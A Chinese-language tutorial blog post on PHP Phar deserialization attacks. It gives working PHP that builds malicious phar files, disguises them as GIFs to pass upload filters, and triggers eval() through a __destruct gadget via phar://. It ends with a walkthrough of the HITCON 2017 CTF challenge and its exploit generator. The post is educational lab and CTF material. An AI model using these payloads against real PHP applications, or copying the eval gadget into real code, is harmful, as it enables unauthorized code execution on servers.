2020-05-09
2.1k
PHP反序列化学习——Phar反序列化
Phar原理
phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

Phar demo
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。
要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
phar.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class TestObject { }
@unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $o->data = 'ca01h'; $phar->setMetadata($o); $phar->addFromString("test.txt", "test");
$phar->stopBuffering();
|
访问后,会生成一个phar.phar在当前目录下。

可以明显的看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后受影响的函数列表:

就用比较常用的函数file_get_contents()
函数举例:
1 2 3 4 5 6 7 8
| <?php class TestObject{ function __destruct() { echo $this -> data; } } file_get_contents('phar://phar.phar/test.txt');
|

至于为什么这些函数在解析phar文件时会进行反序列化操作,可以看一下zsf师傅的深层次剖析:
https://blog.zsxsoft.com/post/38
在跟踪了受影响函数的调用情况后发现,除了所有文件函数,只要是函数的实现过程直接或间接调用了php_stream_open_wrapper
,都可能触发phar反序列化漏洞。
将Phar伪造成其他格式的文件
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class TestObject { } $phar = new Phar('img.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar ->addFromString('test.txt','test'); $object = new TestObject(); $object -> data = 'ca01h'; $phar -> setMetadata($object); $phar -> stopBuffering(); ?>
|

采用这种方法可以绕过很大一部分上传检测。
Phar反序列化漏洞利用
漏洞利用条件
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。
Phar简单利用
index.html
1 2 3 4 5 6 7 8 9 10 11 12
| <!DOCTYPE html> <html> <head> <title>upload file</title> </head> <body> <form action="http://127.0.0.1/upload.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body> </html>
|
upload.php
仅允许格式为gif的文件上传。上传成功的文件会存储到upload_file目录下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" .$_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; }
|
evil.php
1 2 3 4 5 6 7 8 9 10 11
| <?php class TestObject{ var $data = 'echo "Hello World";'; function __destruct() { eval($this -> data); } } if ($_GET["file"]){ file_exists($_GET["file"]); }
|
绕过思路:GIF格式验证可以通过在文件头部添加GIF89a绕过。
用下面的代码生成phar文件
1 2 3 4 5 6 7 8 9 10 11
| <?php class TestObject{ } $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $o->data = "phpinfo()"; $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();
|
生成的phar.phar
修改后缀名phar.gif
,再上传该文件,用phar协议解析:

Phar反序列化实例
[HITCON 2017]Baby^h Master PHP
我们先看看Orange 在 2017 年 hitcon 上面出的利用 Phar 进行反序列化,毕竟这是第一次出现这种利用方式的地方,应该来说是最经典的利用场景。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| <?php $FLAG = create_function("", 'die(`/read_flag`);'); $SECRET = `/read_secret`; $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($SANDBOX); @chdir($SANDBOX);
if (!isset($_COOKIE["session-data"])) { $data = serialize(new User($SANDBOX)); $hmac = hash_hmac("sha1", $data, $SECRET); setcookie("session-data", sprintf("%s-----%s", $data, $hmac)); }
class User { public $avatar; function __construct($path) { $this->avatar = $path; } }
class Admin extends User { function __destruct(){ $random = bin2hex(openssl_random_pseudo_bytes(32)); eval("function my_function_$random() {" ." global \$FLAG; \$FLAG();" ."}"); $_GET["lucky"](); } }
function check_session() { global $SECRET; $data = $_COOKIE["session-data"]; list($data, $hmac) = explode("-----", $data, 2); if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) die("Bye"); if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) ) die("Bye Bye"); $data = unserialize($data); if ( !isset($data->avatar) ) die("Bye Bye Bye"); return $data->avatar; }
function upload($path) { $data = file_get_contents($_GET["url"] . "/avatar.gif"); if (substr($data, 0, 6) !== "GIF89a") die("Fuck off"); file_put_contents($path . "/avatar.gif", $data); die("Upload OK"); }
function show($path) { if ( !file_exists($path . "/avatar.gif") ) $path = "/var/www/html"; header("Content-Type: image/gif"); die(file_get_contents($path . "/avatar.gif")); }
$mode = $_GET["m"]; if ($mode == "upload") upload(check_session()); else if ($mode == "show") show(check_session()); else highlight_file(__FILE__);
|
这道题很明确就是一个反序列化的题,我们的目的就是通过反序列化 Admin 这个类得到我们的 flag。但是如果我们想利用 unserailize() ,通过控制其参数去实现我们的反序列化,我们就必须绕过对 cookie 的检测,但是cookie 是通过 remote_addr 配合 sha1 进行 hmac 签名生成的,想绕过他那是不可能的。现在我们就要思考一下 是不是能用 Phar 这个在不使用 unserialize() 的方式完成序列化成功 get flag,然后我们就看到了这个函数:
1 2 3 4 5 6 7
| function upload($path) { $data = file_get_contents($_GET["url"] . "/avatar.gif"); if (substr($data, 0, 6) !== "GIF89a") die("Fuck off"); file_put_contents($path . "/avatar.gif", $data); die("Upload OK"); }
|
我们只要的精心构造一个包含 Admin 对象、包含 avatar.gif 文件,并且 stub 是 GIF89a
的 phar 文件然后上传上去,下一次请求通过 Phar:// 协议让 file_get_contents 请求这个文件就可以实现我们对 Admin 对象的反序列化了。
1 2 3 4 5 6 7 8 9 10
| <?php class Admin { public $avatar = 'orz'; } $p = new Phar(__DIR__ . '/avatar.phar', 0); $p['file.php'] = '<?php ?>'; $p->setMetadata(new Admin()); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif'); ?>
|
之后会利用匿名函数生成函数名的特点,这里就不多叙述。
这道题我在BUU上面一直没有复现成功,卡在上传phar文件,一直回显fuck off
,不知道为什么,有知道的师傅可以赐教一下。
[LCTF2018] T4lk 1sch34p,sh0w m3 the sh31l
这道题没有复现环境,是K0rz3n师傅根据上面这道题魔改的。
出题人的思路:
https://www.k0rz3n.com/2018/11/19/LCTF 2018 T4lk 1s ch34p,sh0w m3 the sh31l 详细分析/